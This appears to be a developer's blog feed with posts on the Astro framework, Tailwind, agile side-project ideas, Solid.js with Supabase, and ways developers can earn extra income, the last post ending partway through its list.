Alicia's Notes 🚀

Astro is pretty cool 🆒

Alicia's Notes 🚀 — Wed, 17 Apr 2024 19:28:19 +0000

This post outlines the top 5 coolest things about Astro, and why you might want to consider it for your next project
At the end, I'll share a demo of a project I used Astro for, and how I found working with it

Intro

If you're new to Astro, in short it's a framework for generating very optimized, websites to be rendered by the server or statically generated. No heavy JavaScript needs to be sent to the client, nor is it needed for rendering. This gives your site a huge boost in performance, SEO, accessibility and user experience.

As well as that, you're not locked into a single cloud provider, frontend framework, backend CMS or anything else. Pretty much all the features you could need for any sort of site, or any size are included, either out-of-the-box, or as 1-line integration.

Astro is super easy to get started with, and an absolute joy to work with. The developer experience is 🤌

If you're just interested in a demo of it in action, then ⏭️ Skip to the End

Top 5 Cool Things about Astro 😎

Cool Thing 1 - Lightening Fast ⚡

Unlike other frameworks, that primarily do all expensive rendering on the users browser, Astro uses server-side rendering and static site generation, boosting your performance metrics.

And it's super easy - just define the rendering mode by setting output to either static, server or hybrid at the top of any given file.

This is awesome, as you can get the balance between between speed and dynamic content.

Pre-rendered: The static output will generate all HTML routes once, at build-time.
On-Demand Rendering: The server output will render routes on the server, at the point the user requests them (similar to how PHP, .NET and other SSR technologies used to work).
Hybrid: For mostly-static sites with some on-demand content, you can use hybrid output for on-demand rendering of certain features only.

Cool Thing 2 - DevEx 👨‍💻

With Astro, you get several really nice things out the box, without needing to install or configure anything extra.

Firstly, page transitions. Implementing is as simple as importing ViewTransitions, adding <ViewTransitions /> to your layout file (or a common component), and adding the transition attribute to any views/component you want to animate in/out.

Secondly, prefetch. Page load times play a huge role in the enjoyability of using any website. With prefetch enabled, the next page is automatically loaded in the background when the user is about to click the link, that way it can be displayed near-instantly. Usage is simple, in your config just set prefetch: true, then add the data-astro-prefetch attribute to any link you'd like to be pre-fetched.

Thirdly, there's first-class support for Typescript, built in environmental variable / .env support, CSS pre-processing (SASS/SCSS)

For building, Astro uses Vite, which if needed you can easily extend with the Vite or Rollup plugin.

Cool Thing 3 - UI Agnostic 📏

Now, you might be wondering how you're going to deal with interactivity, especially for statically generated sites. That's where islands come in.

The general idea is that you render your HTML on the server, but inject slots around highly dynamic regions, which are then hydrated on client-side once loaded.

You can build these interactive islands in pretty much any frontend framework or web component library you like. Astro has integrations for React, Svelte, Vue, Solid, Alpine, Lit and more.

This might sound a bit complicated, but Astro makes it stupidly easy.

Here's an example, run npx astro add svelte. Then go ahead and import standard Svelte components into any Astro view or component. In the below code snippet, for a news site - the post content can be statically generated for great SEO and snappy load times, but the comments form is a dynamic island

---
import PostContent from '@/components/PostContent.astro';
import Comments from '@/components/Comments.svelte';
//...

// Get the slug/ID of post to render, and fetch it's contents
const postSlug = Astro.request.params.slug;
const content = await Astro.fetchContent(`../posts/${postSlug}.md`);
---

<Layout>
  <Navbar />
  <main>
    <!-- Import and use standard Astro component (SSR or SSG) -->
    <PostContent innerHTML={content}/>
    <!-- Import dynamic component for comments/chat form (client) -->
    <Comments client:load postSlug={postSlug} />
  </main>
  <Footer />
</Layout>

As you can see, you can simply import any component (normal React, Svelte, Astro etc) into your Astro page, and add the client:load directive, to specify it should be loaded client-side. If the page is particularly large, use client:visible instead, so it won't be hydrated until visible to the user. Or if you want to skip server-side rendering + hydration all together, use client:only to only execute client-side.

If you have existing components, you can even mix and match - importing different types of components into a single Astro file. And you can pass Astro props or render slots to any of these components, as well as nest them.

Cool Thing 4 - Tooling & Integrations 🛠️

Take a look at astro.build/integrations, and you'll see the huge directory of plugins available.

As you can see, pretty much every aspect needed for a high-quality, modern and scalable website is included. Everything from SPA support, accessibility, performance, auto-sitemap, storybook, testing add-ons, data adapters, frontend frameworks (for islands), adapters for (super) easy deployment to nearly any cloud platform and hosting provider.

Setting up any of these is as simple as running one npx astro add __ command, which will automatically install, import and configure the integration.

Talking about the astro command, this CLI util makes the end-to-end setup, development and deployment process is a joy. It handles everything from creating your app, managing integrations, generating optimized platform-specific production builds, deploying, and much more. No matter the size of your app, the dev server is very snappy, with near-instant build + refresh times.

There's a dev toolbar, which let's you audit, inspect and debug your Astro app.

The community is also very strong, there's plenty of themes and templates to get you started.

Cool Thing 5 - Content First 📚

Managing a content-first site can quickly become messy. That's not the case with Astro.

To start with, the project structure is very intuitive. You get file-based routing out of the box, where every file/directory inside of ./src/pages relates to an endpoint. You can write your pages using either .astro , .html, .md, .mdx and .ts/.js

Below is a simple markdown example. If this were saved in ./src/pages/my-page.md then you'd be able to access it at https://my-site.com/my-page

---
layout: '../layouts/MySiteLayout.astro'
title: 'My Markdown page'
---
# Title

This is my page, written in **Markdown.**

Of course, there's catch-all, path params, error pages, redirects, etc. You'll likey use a reusable layout from ./src/layouts too, which are extendable.

For content-heavy websites, you'll probably want to use Astro's content collections option. This provides some neat features for creating, managing, organizing all front matter, as well as automatic validation and type saftey.

As expected, usage is simple. Just place any content (like .md, .mdx, .yaml, .json files) within a directory of your choosing inside src/content. Once you have a directory, you can start querying your data.

This is ideal if interacting with a headless CMS or pulling structured content from a remote source. You define collections in src/content/config.ts, as well specifying each collections schema (or using a remote schema).

Astro uses Zod to validate every file’s frontmatter within a collection and provide automatic TypeScript types when you go to query content from inside your project.

Once your content is setup, you can reference and query it in any Astro page. Tasks like generating routes automatically from content, providing search functionality, passing content as props and rendering content as HTML is all strait forward.

Bonus Cool Thing - It's Super Easy 😇

Astro is insanely easy to use, the learning curve is so shallow that you can cover all the core concepts, and get your first project up and running within a few hours.

Markup lives in .astro files, a superset of HTML (any valid HTML is also valid Astro). The templating language is simple yet powerful, it takes all the best parts of the likes of Svelte and Vue', while also borrowing support for JSX expressions from React.

One big reason why Astro is able to be so much less-complex than other frameworks, is that it was designed to render on the server, not in the browser. That means that you don’t need to worry about: hooks (React), stale closures (also React), refs (Vue), observables (Svelte), atoms, selectors, reactions, or derivations. There is no reactivity on the server, so all of that complexity melts away.

If you're using server-side rendering, this can get tricky when you need to support multiple providers / want to avoid ventor lock-in. Vercel serverless functions works differently to Netlify Edge functions, Cloudflare Workers, AWS Amplify, Azure, Deno etc. Thankfully, with Astro you don't need to worry about any of this. Just add the Adapters you need, and deploy!

This has been a whistle stop tour of Astro. There's much much more to discover, so do take a look at their (very well-written) docs.

Demo 🌐

I'd like to finish off by briefly demoing an app that I build with Astro - Awesome Privacy. The website is deployed to awesome-privacy.xyz if you're interested!

For this project, I compiled a list of privacy-respecting apps and services in a single YAML file, each including a name, description, and a link to the project's website and GitHub repo.

I made an Astro API route to fetch and parse this data.
Then I used dynamic routes, so that there was a page for each category, section and listing.
- For example, /productivity --> /productivity/digital-notes --> /productivity/digital-notes/standard-notes
Then, when you click a listing, I fetch data about the services privacy policy, website security, mobile app trackers, source code info, Docker metrics, social presence and more. As an example, see the Bitwarden page.
- Thanks to Astro, all these fetch requests happen at build-time, so there's no ongoing load on the backend, and the site is near-instant despite the amount of data fetched.
I implemented site-wide search, at /search and results, at /search/[search-term]
I added some additional routes to make the site more complete, including
- For viewing all listings: /all
- Your saved listings: /inventory
- And an about page: /about

The site has over 500 pages (you can see a full list here). But the cool thing is, all the content that defines and makes up all these pages is coming from a single YAML file. Astro is perfect for generating all these static routes, from one simple codebase.

I also made a quick API (at api.awesome-privacy.xyz - here's the code), but that was built with Hono and Cloudflare Workers, so it's a post for another day!

Originally the Awesome Privacy reop was just a markdown document. I wanted to preserve the ability to view all listings in the main README, while also keeping data synced across the website and GitHub repo. For this I used my YAML file as the single source of truth, then wrote a quick Python script (awesome-privacy-readme-gen.py) to convert the YAML into neatley formatted markdown content and insert into the README. This process runs via GitHub Actions, so whenever the YAML is updated, the README will automatically reflect these changes too.

Below is an example, showing the input YAML, and the output webpage.

As you can see, from a small amount of user-submitted data, we're able to generate a quite comprehensive report on a given service (in this example, it's Signal Messenger).

My thoughts on Tailwind 🍃

Alicia's Notes 🚀 — Tue, 13 Feb 2024 12:56:02 +0000

For a long time I've always been very anti-Tailwind. I don't like how cluttered it makes your markup, or how it abstracts away what's actually happening, or the un-semantic approach it forces you to take.

That said, it does have some very clear benefits. So for my most recent project (digital-defense.io), I thought I'd give it a second shot.

Here's my thoughts:

Pros

👍 It is actually possible to cover 99% of styling with Tailwind. I was expecting to have to still write my own CSS to cover edge cases, but it really wasn't necessary
👍 The built-in colors, dimensions and values really do make a lot of sense, everything is incredibley consistent
👍 Some things which take several lines of CSS are just much quicker with Tailwind (like flex / grid layouts, transitions, transformations)
👍 For accessibility, the screen-reader-only and forced colour adjustments are really nice
👍 The overhead it added (in terms of bundle and load performance) was negligible

Meh

🫱 You're forced to really componetize every small element of your application, to prevent any repetition of classes
🫱 Mixing styling with markup doesn't feel right. But nor does duplicating the structure of your markup with SCSS, we just don't have an ideal approach yet.

Cons

👎 Theme switching is hard out the box, as Tailwind doesn't use semantic class names (like primary, secondary, etc). Instead you need to either use a library, or just create your own theme, which consumes Tailwind properties
👎 If you need to dynamically apply styles/classes, based on a certain computed value, then the Tailwind classes you're using are tree-shaken out by Vite and won't be applied. Therefore you need to list those classes in your Tailwind config. Bit of a pain, but they do support regex, and it shouldn't be a too common occurrence.
👎 The computed vales are a bit cryptic in the dev tools of a production site. This also isn't ideal if your targeting power users, who might want to override colors/styles themselves.
👎 There's no two ways around it, whatever fancy VS Code extensions you might have, Tailwind REALLY clutters up your markup. Means you need to be really thoughtful to prevent your HTML from becoming a mess to read

Thoughts

🫴 At the start I needed to reference the docs quite a lot (really great docs site they have), but I picked up the pattern very quickly, as their class identifiers are very intuitive
🫴 I think people who start out with Tailwind would be at a huge disadvantage, not fully understanding the CSS fundamentals under the hood. Definetley learn CSS properly first
🫴 By the end, I could build components much faster than I could with just CSS. And it was nice to not have to be constantly jumping to style files / style tags. But later on I needed to spend more time componentizing molecules to prevent repetition. Even still, I would say the Tailwind makes development faster overall.
🫴 Using a Tailwind based component library (I went with daisyUI) reduces the long list of class names you need for common elements, bringing back a more semantic approach

Project Ideas: Agile 💡

Alicia's Notes 🚀 — Tue, 12 Dec 2023 19:43:03 +0000

Many software development teams follow some kind of agile methodology, as the backbone for their ways of working. And if you are one of them, you'll know the current software landscape (Jira, Confluence, Teams, etc) leaves plenty to be desired.

Here's 25 ideas for mini projects, to help optimize your workflow for you and your colleges.

None of these should take much more than a weekend to build, so a good opportunity to try out a new tech stack. And it gives you something cool to show to your boss on Monday!

1. Sentiment Tracking

A system to gauge and monitor the sentiment of the team. Should be anonymous, so members can be honest. Needs to be as frictionless as possible, so maybe a Slack / Teams Bot, with data collected via reactions. Generate some pretty charts for the scrum master (I did something similar ages ago, here)

2. Meeting Timer

Keep meetings moving quickly with customizable timers. Could also show meeting time stats + metrics too. Built either as a web app, or a plugin for Zoom/ Teams / Meet.

3. Sprint Health Dash

Pull data from Jira (or elsewhere) to display some neat real-time dashboards, to make the PO happy.

4. Impediment Tracker

A page dedicated to blockers or issues, to visualize which developers are blocked by which tickets. Gives motivation and recognition to the developers who solve the biggest blockers.

5. Team Availability Calendar

A simple 1-page app, to quickly visualize which team members will be available when. Useful for remote teams, or those which work across timezones, have part-time workers, or have many members taking upskilling or vacation days. Could also hook it up to Outlook / Google Calendar to automatically populate

6. Skill Matrix Tool

An app that helps teams track and manage the skills and learning goals of its members. This could be used for identifying skill gaps, planning pair programming sessions, and supporting personal development plans. Also helps with story planning, if scrum masters know who can do what

7. Estimation Voting

A planning poker app, where members anonymously vote on the size of a story during refinement sessions, and it outputs the average and upper + lower bounds

8. Real-time Feedback Tool

An app where team members can give and receive real-time feedback on tasks and during sprints. This could foster a culture of continuous improvement and open communication.

9. Automated Sprint Report Generator

Managers love a pretty status report. This app could connect to your Jira / Trello board, and provide a summary of everything completed in that week, along with some pretty charts and shoutouts to top developers

10. Stand-Up Bot

Because real standup includes too much human interaction. Have a bot prompt everyone for their update, and compile it into a single easily accessible report. Less meetings!

11. Action Item Tracker

Use AI to read the auto-generated transcript for a meeting, and then send out a list of actions to the individual responsible for each. E.g. if you're talking about researching XYZ, then Pam asks Tony if he could do that, Tony will get a reminder to "research XYZ" after the meeting

12. Automated Risk Assessments

Because risks assessments are boring. Could read in data from your project management software, and use AI to identify risks and output an assessment of each in the form of a report

13. Visual Dependencies

In larger or more complex projects, you often get the situation where X is dependent on Y, which is dependent on V and W, which are blocked by Z. It all becomes a bit complicated. A took to show dependencies visually will solve this. But the challenge is getting and processing the data. It could be extended to show and manage cross-team dependencies too

14. Retro Board

An alternative to Miro or sticky notes for retrospective meetings. Could include features like anonymous feedback, timers, actions, etc

15. Decision Making

Often decisions take a long time to make, because everyone has a different opinion on something. A poll app, specifically designed for agile teams, where users can vote and provide justification should make this process a lot quicker and more civil

16. Interactive Glossary

Many projects use lots of acronyms, which some people find hard to remember. This is especially hard for new-joiners. A glossary on Confluence quickly becomes out-dated and hard to manage, but a dedicated app could make searching, adding and browsing much easier

17. Personal Timer

If a task is taking considerably longer than estimated, it may have not been properly refined, or the developer could need extra support. Often you don't realize this until you've sunk 8+ hours into it. A Pomadoro-style timer, with a cusomizable limit may help developers track and identify when they need to escalate something. This could be extended further to integrate with other systems (like Jira or Wakatime)

18. Meeting Minutes

The contents of meetings often become lost. Hundreds of hours or recordings make it hard to find specifically what you're looking for. A system which uses AI to generate minutes, and lets users search the textual content of all historic meetings should make this easier to manage

19. Snippet Hub

A centralized repository for code snippets relating to your specific project. Will help newer developers find solutions to common problems (e.g. database connection, using custom components, mocking your data, etc). Could also create a VS Code extension, which let's developers easily insert snippets without leaving their IDE

20. Review Scheduler

When there are lots of PR review notifications, they often either get ignored by developers, or break their flow. A centralised hub for review tasks would help devs work through their code reviews all at once, like once or twice a day. This could be done using the GitHub / GitLab API, to fetch PRs assigned to each specific developer

21. Debug Diary

Like a personal mini StackOverflow instance, where whenever a developer encounters something they get stuck on, they can post the solution, so that no one needs to spend time figuring out the same thing twice

22. Interactive DoD

On more established projects, you often have a very long checklist for the definition of done. Many of the items are not relevant to many of the stories (such as API docs for a frontend ticket). Having a system which can generate a relevant DoD checklist for a specific ticket type, will mean that the list is much shorter, more relevant and hence (hopefully) easier to achieve

23. Mobbing Helper

Pair programming is hugely beneficial, but some longer mobbing sessions end up with the same few developers driving and doing all the work. A simple timer type extension could help ensure the driver is frequently rotated, keeping all developer engaged

24. Automated Onboarding

A script to walk new joiners through the onboarding process, including local development environment setup for their specific architecture. If this was an all-in-one process, it could cut down on the sometimes many days or weeks it can take new developers to get setup

25. Link List

So you've probably got a whole bunch of links (Agile board, messaging, cloud, source code, wiki, CI/CD, docs, dev/UAT/prod environments, etc) along with all the mini apps you've built that you need to keep track of. This makes finding the URL you're looking for tiresome, especially for new joiners. The last project idea is just a simple web page, that brings together all your agile apps into one single place. So the new BA won't ever need to ask you for the link to UAT ever again!

Trying out Solid.js 🍰

Alicia's Notes 🚀 — Mon, 04 Dec 2023 20:02:06 +0000

Intro

I've been interested in Solid ever since I saw it rising on the StackOverflow developer survey (the third-most admired framework), and even more so since watching Fireship's Solid in 100 Seconds video.

What's Solid?

In short, Solid is declarative JavaScript framework for building extremely performant UIs, thanks to it's maximum control over reactivity.

At first glance, it looks kinda similar to React. It uses JSX, with a component-based architecture. There's hook-type syntax (called composables) for hooking into state and lifecycle features. And it takes a very declarative approach to defining what the UI should look like based on state.

But that's about where the similarities end. In Solid, there's no virtual DOM, it compiles down into well optimized vanilla JavaScript. And it is properly reactive, with functional components only called once, with state managed by Signals, instead of re-rendering the entire component whenever a prop somewhere changes.

It was created by the very talented Ryan Carniato

What I built

I learn best by doing, so after a quick skim read of the Solid docs I decided to dive straight in.

What was I going to build? Well one of the things I do at work is order in the office snacks. I like to know what kind of stuff people like, but sending out surveys is really boring.

In order to cover off the basics of Solid, while also producing a (somewhat) useful app, it would need to do several things:

Let users login via their SSO provider
Enable users to request, upvote and downvote snacks
View results, with real-time updates
I'd also like it to be translatable, themable, responsive, accessible, tested, observable and overall easy enough to maintain (so basically just all the best practice buzz words)

I gave myself one weekend to get this done, and though I got the MVP done in that time, I ended up spending 2 weekends getting it feature-complete.

The source code is on GitHub, at github.com/Lissy93/cso

Here's a quick demo:

(yes, it has AI - because it's 2023 and even your toaster has AI!)

My Thoughts on Solid

Overall, Solid was easy enough to get started with. I liked that it seemed more vanilla and closer to the DOM than other frameworks, and that you can be really deliberate with what you do and don't want to be reactive. If performance is an important factor in your app, then Solid could be an awesome choice.

I didn't so much love the developer experience. My dev env was slow, errors were vague, I missed some the nice built-in features of larger frameworks, and the ecosystem was tiny compared to more established alternatives. Given the inherent messiness of JSX and without such a rigid or opinionated structure, my project didn't take long to descend into a a big pile of spaghetti code.

...

Learning Curve.
The time took to learn the (very very) basics of solid was pretty quick. The docs are very clear and thorough. It took about 10 minutes to skim read the spec, and there's also plenty of guides, tutorials, examples and playgrounds on solidjs.com.

Features.
I really missed those quality of life / nice to have features that are directly built into larger frameworks. Little things, like Svelte's built-in animations, Vue's built-in form handling (v-model), React's global state management (context API), etc. Of course, that's to be expected when you're choosing a framework know for performance.

Developing.
Again, this may have been due to some misconfiguration on my part, but out-of-the-box, I found the full page reloads on the development server to be notably slower than what I was used to. Sure live-reload was speedy enough, but I had to force kill and restart the dev server every 20 minutes or so

Tooling.
Several times I made stupid mistakes, like messed up an export or made a typo in a tag. In React, or any other framework, you'd usually get a somewhere meaningful error message. But in Solid I just got a blank white screen of death, and a cryptic message in the console, usually something just like Uncaught, with no other details.

Ecosystem.
With many other frameworks, there's tons of ready-made components, libraries and add-ons that you can just npm insstall to get your prototype up and running quickly. Not so much in Solid, as it's newer and so has a smaller community.

Syntax.
This is very much a personal preference. But although I'm familiar with React, I do not like it at all, because of it's use of JSX. There's just something about mixing logic in with your UI, which seems wrong to me. And Solid, of course uses JSX. I also found that I needed to write a fair bit of boilerplate when it came to components with more complex state management or side effects, which further complicated my JSX components.

Side note: Supabase

For the backend, I was looking for something quick and easy. I'd played around with a local Supabase back when it was in Alpha, and it seemed cool enough. But bloody hell is Supabase awesome now!

In my app, Supabase handling everything from data storage (insertions, updates, deletions), user management (with 3rd party auth providers), real-time, and really decent RLS policies (so rows that were not created by a given user cannot be either read, modified or deleted).

Supabase's client packages make integrating with it so so easy - it literally took under 5 minutes to get the database up and running.

Since it's a small enough project, I decided to just go with the hosted instance, as it's well within the free plan, and the frontends just Netlify anyway. So no complicated infrastructure to setup or manage!

50 ways to bring in extra cash as a developer 💰

Alicia's Notes 🚀 — Sun, 19 Nov 2023 21:18:30 +0000

Times are tough at the moment (cozzie livs), but as developers we've got a unique set of skills which are in high-demand, if you know where to look!

This post briefly outlines 50 side hustles you can use to bring in some extra cash as a developer

1. Attention

Engagement-based earnings are where you'll receive a share of revenue, based on the amount of time a user has spent on your site, profile or consuming your content. It's typically a small amount, at least for smaller sites or creators, but adds up over time, and anyone can enable this- so you've got nothing to lose.

Brave - Pays you for the users who visit your site, profile or view your content while using the Brave browser. Funds are paid as BAT into your Uphold account, where they can then be withdrawn as USD, GBP or EUR to your bank account
Flattr - Users who pay to use Flattr have their funds distributed among creators whose content the user has visited

I personally signed up for Brave Rewards a couple of years ago. And after verifying ownership of my domains + profiles, I've consistently been making a couple of quid a month - about £200+ so far (despite being a Firefox user!). It's not much, but for very little effort, it's worth it.

For more info on how this works, take a look at the webmonetization.org spec, a proposal which makes use of payment pointers via ILP to stream income from WM-enabled visitors, via the use of a simple <link rel="monetization" href="your-pointer-here" /> tag.

2. API as a Service

Platforms like RapidAPI make it possible to earn passive income from your API.

After you've built and deployed a simple API, you're then able to import it into RapidAPI Hub, select usage and pricing plans, and hit publish. Your API can be as big or small as you desire.

If you're looking for inspiration for an easy first project, consider turning an open dataset into an API. And for beginners, RapidAPI have a video series on how to get started. Other ideas could include wrapping an existing package up as an API, adding features to another service (like OpenAI), or building an endpoint that does some simple calculations.

3. Issue Bounties

These are in-demand feature requests for open source projects. Users can put up "bounties" where they pledge a certain amount, which will then be paid to the first developer who gets that feature completed and merged.

BOSS.dev - Feature requests and bug fixes to complete, with bounties ranging from $30 to $1000.

4. Sponsors

If you've got a presence on GitHub, or another platform, then enabling sponsorships is a rewarding way to bring in some money for your work.

Don't forget to enable the Sponsor button for your GitHub projects, by creating a .github/FUNDING.yml. This works for a variety of platforms, as well as GitHub Sponsors

GitHub Sponsors - A great option for developers however big or small. Zero fees, and low barrier to entry for supporters if they're already on GitHub
Patreon - Allows for providing perks and exclusive content to your supporters. A good option if you've got a presence on other platforms beyond GitHub
LibrePay - Aimed at those creating open source content
Open Collective - Good option if you're collecting funding for a specific project, and are using proceeds to support that project (rather than personally)
Steady
TideLift - Aimed more at those developing enterprise-grade open source projects, larger potential income but only for the biggest projects
LFX - By the Linux Foundation

Sponsorship (specifically GitHub Sponsors) is one of my personal favorite methods, as since paying is optional, you're not preventing access to people who cannot afford it, and those who support you already know what they're getting up-front, so you'll never have disappointed customers.

5. Tips

You've probably been in the situation, where you've found a certain blog post, SO answer, GitHub repo or forum reply so helpful, that you've wished you could buy the author a beer to say thanks.

Platforms which enable these small, one-off payments are free to sign up for, and you've got nothing to lose by including a Tip button in your profile or at the end of a blog post.

Tip: Don't beg. Create something useful, and drop your Tip link at the bottom.

6. Corporate Funding

Many open source projects with a certain number of downloads / recurring users will start to be approached by companies wishing to sponsor the creators work, in return for their company logo + link being included near the top of the readme. Unlike sponsorship from individuals, these usually start at $100-500/month, rising the more usage your project sees.

7. Hackathons

There are coding competitions happening remotely all the time. These are usually sponsored by companies who pay out cash prizes to the winners.

Summer of Code - Run by Google, you'll receive a contributor stipend ranging from $750 to $6000 upon successful acceptance, the amount depends on your country and project size
CodeHeat - Run by FOSS Asia, 100 SGD every 2 weeks plus smaller prizes
HackerEarth
Hackathon.com
Devfolio Hackathons

When I was a student, I used to do a lot of hackathons (mostly in-person), and was often able to fund my Summers just by going to various events! It's also a great way of meeting people, learning new stuff, plus they're just a lot of fun!

8. Dependency Funding

If you've got a package (such as an NPM module), then enabling sponsorship in your config file will let users of your code help contribute financially.

NPM Funding - You're probably familiar with running npm fund, and seeing a list of the packages you're using which are looking for funding. The npm fund was added to make donating to the maintainers of the dependencies your project relies upon easier. If you maintain an NPM package, simply include the funding field in your package.json, and users will be able to support you more easily.
StackAid - Just install the StackAid GitHub app and link your Stripe account, and a share of funds donated by supporters who are either directly or indirectly using your project will be allocated to you each month
GitHub Sponsors - Again GitHub Sponsors comes in again, as it lets users give to their most-used dependencies - although this is a manual process, and not automatic.

9. Reporting Issues

If you've got an eye for security, or enjoy finding bugs and exploits in applications, this one is for you. The most popular platform for this is HackerOne, where you can earn anywhere from $20 to $200,000 per responsibly disclosed bug.

Many other websites also offer a responsible disclosure policy directly, where they'll reward you for your work. If this is something which interests you, I maintain a list of 1000+ bounty programs at: https://bug-bounties.as93.net

I've personally had a lot of success with this approach, it's also a lot of fun - so I highly recommend it!

Other platforms to check out include:

HackerOne - Number 1 platform, most bounties and good protection and payout rate
Immunefi - Specifically for Web3
BugCrowd
Intigriti
Issue Hunt

10. Open-Core model

This is where the majority of your code is open source, but certain extensions or add-ons (specifically those aimed at enterprise customers) are licensed as proprietary.

Therefore, developers can freely use the software in other open source projects. However, companies have to pay for using enterprise-specific modules or integrations.

Bear in mind, this is often easier said than done. You'll need to be able to separate proprietary features, and large companies will often do anything (including disobeying license restrictions) to avoid paying.

11. Premium Packages

These are services that make it easy to offer premium / paid-for packages for common registries. It may be a good option, if you wish to distribute a premium version of an NPM module for example, or charge for specific package features.

PrivJS - Distribute premium versions of your Node packages
CodeShip - Private registry, where users need to pay to use your package

12. Support

Adding the option for professional support plans to an open source project enables customers to pay for one-off or ongoing help and support with getting things up and running.

This can be enabled either via your own system, or using an existing sponsorship platforms, like Patreon and GitHub Sponsors, or with a dedicated service, such as Otechie which adds paid features + support via embedded an chat dialog. Tools like Calendly can enable clients to put time into your calendar, or for larger projects, investing in a dedicated customer support platform, like HelpScout may make this easier.

13. Documentation

Write the Docs is the go-to place for all things documentation.
Season of Docs - Supported by Google, each year technical writers contribute to open source projects. Participating projects receive between $5,000 and $15,000 grant which is then distributed to contributors, usually via Open Collective.
If you look around, there's also plenty of products looking for technical writers. Julia make a good list of companies who will pay you to write tech content
Copyrighting also fits into this category. Services like scripted let you make money by proof-reading or editing others text content.

Even just documenting your own, and other developers repos is a good place to start.
A projects value increases massively if it's documented. Without docs, potential users, clients or developers won't know what it does, how to use it, how to build on top of it, or how to contribute.

I might be the only one, but I personally love writing docs. All my projects include thorough usage, developing and contributing documentation. And this has contributed to their success and adoption. I feel like there's no point spending hours building something awesome, if you don't put a tiny bit of time showing people how they can use it.

14. Advertising

Before you skip past this one - I hate ads too. They're annoying, and often involve some form of tracking which compromises the privacy of your users. But, for open source projects, there are some other options which don't have these drawbacks.

This is a great option if you're maintaining a GitHub repo, website, blog or service that gets consistent traffic. Usually a minimum of about 10k users/month is required, but you'll get much better returns if you're getting 50k+ monthly users.

15. Selling your Code

I personally disagree with this approach, just because a lot of the code being sold is poorly re-skinned versions of open source software, and proper credit isn't always given to the original author. That said, some developers do manage to make it work, building out simple projects then selling them on.

IndieMaker - Sell your entire project
PieceX - Sell ready-to-go source code
Codester - Aimed at PHP and Wordpress

16. Selling Content

This is a commonly suggested one, when you look at side hustles for developers. But for good reason - if you're able to create high-quality content, there is good money to be made. Especially if you have an in-depth knowledge of an emerging field.

Popular sites for selling content include:

GumRoad - Code, courses, posts, art, design, media (10% fee)
AppSumo - Code, apps, extensions, courses, templates, etc

17. Writing

This is a unique skill set. Either you're very good at writing engaging content, or you've got in-depth knowledge on a specific in-demand field. Otherwise if this is something that interests you, consider e-book publishing, where nothing is lost if your book is not a success.

LeanPub - A platform for self-publishing technology / development e-books and courses, with a generous revenue model (you keep 70%)
Amazon KDP - Publish to Amazon Kindle, and make it immediately available to millions of users world-wide (Amazon will take at lease 30% cut, likely more for small publishers)
SmashWords and Draft2Digital - Distribute to other e-book sellers around the globe, so an easy way to start publishing. They take less commission that Amazon, but more than LeanPub.

18. Grants

Grants and corporate sponsorships are available in a number of fields, from open source, innovation, DeFi, AI, etc. They're usually paid to help you fund your living costs for a short period of time, while your working on something specific.

GitHub Sponsors - Platform for individuals and organizations to financially support open source developers. Amount varies based on sponsorships.
Google Summer of Code (GSoC) - Global program for student developers to contribute to open source projects, with stipends typically ranging from $1500 to $3300.
Mozilla Open Source Support (MOSS) - Grants for open source software development, particularly for projects that align with Mozilla's mission.
The Linux Foundation Grants - Offers various grants and fellowships for developers working on Linux Foundation projects.
NumFOCUS Small Development Grants - Supports small projects in data science and scientific computing. Grant amounts vary ($285k split between all applicants).
Apache Software Foundation Sponsorship - Financial support for Apache software projects, focusing on the Apache software ecosystem.
Outreachy - Provides three-month internships for underrepresented groups in technology, with stipends typically around $5,500.
Knight Foundation - Offers grants for tech projects that promote quality journalism. Grant amounts vary widely based on project scope.
Prototype Fund - Supports open source prototypes with up to 47,500 euros over six months, focusing on software developers in Germany.
The Sloan Foundation - Offers grants for open science community projects, especially those enhancing open source software in research.
Chan Zuckerberg Initiative Open Source Software Projects - Focuses on supporting open source software essential to biomedical research. Funding amounts vary.
Raspberry Pi Foundation - Provides grants for educational projects involving Raspberry Pi and computing education.
GitCoin - A crowdfunding platform that funds open source projects, particularly in Ethereum and Web3. Funding varies based on community support.
NLnet Foundation - Supports projects in Internet technology and network research. Grant amounts vary.
Open Technology Fund - Supports projects developing open technologies that promote human rights and open societies. Funding varies.

19. Hosting Events

The events space is a lucrative industry, especially if you're able to put on a good event and land yourself a large sponsor. It's not for everyone, but here are 10 potential revenue streams that hosting events can bring:

Ticket Sales: Generate revenue by charging an entry fee. Use platforms like Eventbrite, Meetup, or Ticketmaster for ticket management.
Sponsorships: Secure financial contributions from tech companies in exchange for promotional opportunities at your event.
Workshops and Training Sessions: Offer specialized, hands-on learning experiences on specific technologies or programming languages, charging a premium fee.
Virtual Events: Organize and charge for webinars, online workshops, or virtual conferences using platforms like Zoom, WebEx, or Hopin.
Hackathons: Host coding competitions with entry fees or find sponsors for covering costs and providing prize money.
Networking Events: Charge for networking events targeting tech professionals, potentially attracting sponsorships from hiring companies.
Speaking Engagements: Organize and charge for speaking events or panels, leveraging your expertise in a particular tech area.
Corporate Training and Retreats: Provide event organizing services for companies' internal training or team-building events.
Affiliate Marketing: Utilize affiliate marketing for tech products or services during your events for additional revenue.
Product Launches: Partner with tech companies to host product launch events, offering your organizing services for a fee.

20. Research

Your opinions are worth something, especially as a developer. There are researchers who will pay you money to take part in their study, survey or think tank. Typically good research opportunities are few and far between, OR will pay quite poorly.

Popular platforms for this kind of work, include: Testable Minds, Respondent

21. Creating Courses

Skillshare - Offers payment based on the number of minutes watched in your classes, along with referral bonuses.
Coursera - Partner with institutions to offer courses; payments are typically based on revenue-sharing agreements.
LinkedIn Learning - Instructors can create courses for professionals; compensation details are arranged with LinkedIn.
Thinkific - Provides tools to create, market, and sell online courses, with various pricing plans including a free option.
Kajabi - All-in-one platform for online courses, marketing, payments, and website building.
Podia - Offers a platform for hosting courses, webinars, and digital downloads with direct sales to your audience.
Pluralsight - Focused on tech and creative courses; pays instructors through royalties based on the popularity of their courses.
MasterClass - High-quality, celebrity-led courses; instructors are typically established experts or celebrities in their field.
uTeach
NewLine

22. Newsletters

Email newsletters and subscription-based RSS feeds are slowly making a comeback, as popular social media channels are becoming more centralized and controlled.

This model works either by offering valuable insights into tech topics or news and building up a large (and hence valuable) subscriber base, or by charging a smaller number of users to receive your updates.

Popular platforms that offer this functionality inclide:

23. Member-only Sites

MemberSpace - Enables you to paywall certain parts of your website, for members-only
Patreon - Popular for setting up membership tiers with exclusive content and perks.
Substack - Ideal for newsletters; offers the ability to have paid subscribers for exclusive content.
Ghost - A professional publishing platform with built-in membership and subscription features.
Podia - Enables the sale of memberships, online courses, and digital downloads.
